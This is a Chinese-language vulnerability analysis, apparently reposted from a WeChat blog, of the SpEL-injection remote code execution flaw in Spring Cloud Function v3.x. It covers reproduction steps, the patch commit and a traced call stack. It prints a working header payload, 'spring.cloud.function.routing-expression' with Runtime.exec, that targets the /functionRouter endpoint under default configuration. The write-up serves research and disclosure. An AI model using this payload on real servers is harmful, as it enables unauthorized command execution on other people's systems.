Spring Cloud Function是SpringBoot开发的一个Servless中间件(FAAS),支持基于SpEL的函数式动态路由。
0x02 漏洞复现
测试版本:
# v3.2.0
https://github.com/spring-cloud/spring-cloud-function/releases/tag/v3.2.0
测试环境:
spring-cloud-function-samples/function-sample-pojo
第1种利用:需要修改配置+任意路由
这种利用方式来自 逐日实验室@默安
1)修改配置文件,添加 “spring.cloud.function.definition:functionRouter”
application.properties
2) 任意路由
/aaaa
3) 构造SpEL 注入 payload
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
4) 测试效果
但是
为了尽可能扩大漏洞的利用价值,能在默认配置下进行利用无疑是我们的首选,于是去啃了会儿官方文档和相关社区,然后发现一种可在默认配置下进行RCE的姿势(暂不确定影响范围)。
已测试版本
v3.2.0、v3.1.6、v3.0.9
第2种利用:默认配置+特定路由
1) 保持默认配置
application.properties
2) 特定路由
/functionRouter
3) 构造SpEL 注入 payload
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
4) 测试效果
ps: 为了确保准确性,在该环境测试任意路径
0x03 漏洞分析
由于第1种已经有人分析了
这里只分析第2种场景:默认配置+特定路由
补丁分析
https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52
-
org.springframework.cloud.function.context.config.RoutingFunction
在此处下断点后获取到调用栈
org.springframework.cloud.function.context.config.RoutingFunction#route
然后往下跟踪&向上回溯
route:125, RoutingFunction (org.springframework.cloud.function.context.config)
apply:85, RoutingFunction (org.springframework.cloud.function.context.config)
doApply:698, SimpleFunctionRegistry$FunctionInvocationWrapper (org.springframework.cloud.function.context.catalog)
apply:550, SimpleFunctionRegistry$FunctionInvocationWrapper (org.springframework.cloud.function.context.catalog)
processRequest:100, FunctionWebRequestProcessingHelper (org.springframework.cloud.function.web.util)
post:74, FunctionController (org.springframework.cloud.function.web.flux)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
lambda$invoke$0:144, InvocableHandlerMethod (org.springframework.web.reactive.result.method)
apply:-1, 1875846925 (org.springframework.web.reactive.result.method.InvocableHandlerMethod$$Lambda$714)
onNext:125, MonoFlatMap$FlatMapMain (reactor.core.publisher)
complete:1816, Operators$MonoSubscriber (reactor.core.publisher)
signal:251, MonoZip$ZipCoordinator (reactor.core.publisher)
onNext:336, MonoZip$ZipInner (reactor.core.publisher)
onNext:180, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)
onNext:101, FluxDefaultIfEmpty$DefaultIfEmptySubscriber (reactor.core.publisher)
onNext:79, FluxOnErrorResume$ResumeSubscriber (reactor.core.publisher)
onNext:127, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)
onNext:107, FluxContextWrite$ContextWriteSubscriber (reactor.core.publisher)
onNext:295, FluxMapFuseable$MapFuseableConditionalSubscriber (reactor.core.publisher)
onNext:337, FluxFilterFuseable$FilterFuseableConditionalSubscriber (reactor.core.publisher)
complete:1816, Operators$MonoSubscriber (reactor.core.publisher)
onComplete:159, MonoCollect$CollectSubscriber (reactor.core.publisher)
onComplete:142, FluxMap$MapSubscriber (reactor.core.publisher)
onComplete:260, FluxPeek$PeekSubscriber (reactor.core.publisher)
onComplete:142, FluxMap$MapSubscriber (reactor.core.publisher)
onInboundComplete:400, FluxReceive (reactor.netty.channel)
onInboundComplete:419, ChannelOperations (reactor.netty.channel)
onInboundNext:590, HttpServerOperations (reactor.netty.http.server)
channelRead:93, ChannelOperationsHandler (reactor.netty.channel)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
channelRead:264, HttpTrafficHandler (reactor.netty.http.server)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:436, CombinedChannelDuplexHandler$DelegatingChannelHandlerContext (io.netty.channel)
fireChannelRead:324, ByteToMessageDecoder (io.netty.handler.codec)
fireChannelRead:311, ByteToMessageDecoder (io.netty.handler.codec)
callDecode:432, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:276, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:251, CombinedChannelDuplexHandler (io.netty.channel)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)
channelRead:1410, DefaultChannelPipeline$HeadContext (io.netty.channel)
invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:919, DefaultChannelPipeline (io.netty.channel)
read:166, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio)
processSelectedKey:719, NioEventLoop (io.netty.channel.nio)
processSelectedKeysOptimized:655, NioEventLoop (io.netty.channel.nio)
processSelectedKeys:581, NioEventLoop (io.netty.channel.nio)
run:493, NioEventLoop (io.netty.channel.nio)
run:986, SingleThreadEventExecutor$4 (io.netty.util.concurrent)
run:74, ThreadExecutorMap$2 (io.netty.util.internal)
run:30, FastThreadLocalRunnable (io.netty.util.concurrent)
run:745, Thread (java.lang)
往下跟踪
org.springframework.cloud.function.context.config.RoutingFunction#route
跟进
org.springframework.cloud.function.context.config.RoutingFunction#functionFromExpression
发现熟悉的身影 expression.getValue()
向上回溯
org.springframework.cloud.function.context.config.RoutingFunction#FUNCTION_NAME
发现关键字 “functionRouter”, 不管是第1种还是第2种利用姿势,都与functionRouter有着莫名的联系。
…(省略部分调用栈分析)
继续看源码看文档得知,可以通过目录获取对应功能接口的实例
/functionRouter
跟进
org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#findFunction
跟进
org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#doFindFunction
跟进
org.springframework.cloud.function.context.FunctionCatalog#lookup(java.lang.String, java.lang.String...)
org.springframework.cloud.function.context.catalog.BeanFactoryAwareFunctionRegistry#lookup
org.springframework.cloud.function.context.catalog.SimpleFunctionRegistry#doLookup
至此已经获取到对应实例,经过一些处理后,执行到
org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#processRequest
是不是些许熟悉?
跟进
org.springframework.cloud.function.context.config.RoutingFunction#apply
跟进
org.springframework.cloud.function.context.config.RoutingFunction#route
经过以下判断后
# false
if (this.routingCallback != null) {...}
# false
if (StringUtils.hasText((String) message.getHeaders().get("spring.cloud.function.definition"))) {...}
# true
else if (StringUtils.hasText((String) message.getHeaders().get("spring.cloud.function.routing-expression"))) {...}
触发断点,整个漏洞利用的链路被成功串连。
具体影响范围不详,已测试版本如下
v3.0.9
v3.1.6
v3.2.0
参考资料:
https://mp.weixin.qq.com/s/ssHcLC72wZqzt-ei_ZoLwg
原文始发于微信公众号(pen4uin):Spring Cloud Function v3.x SpEL RCE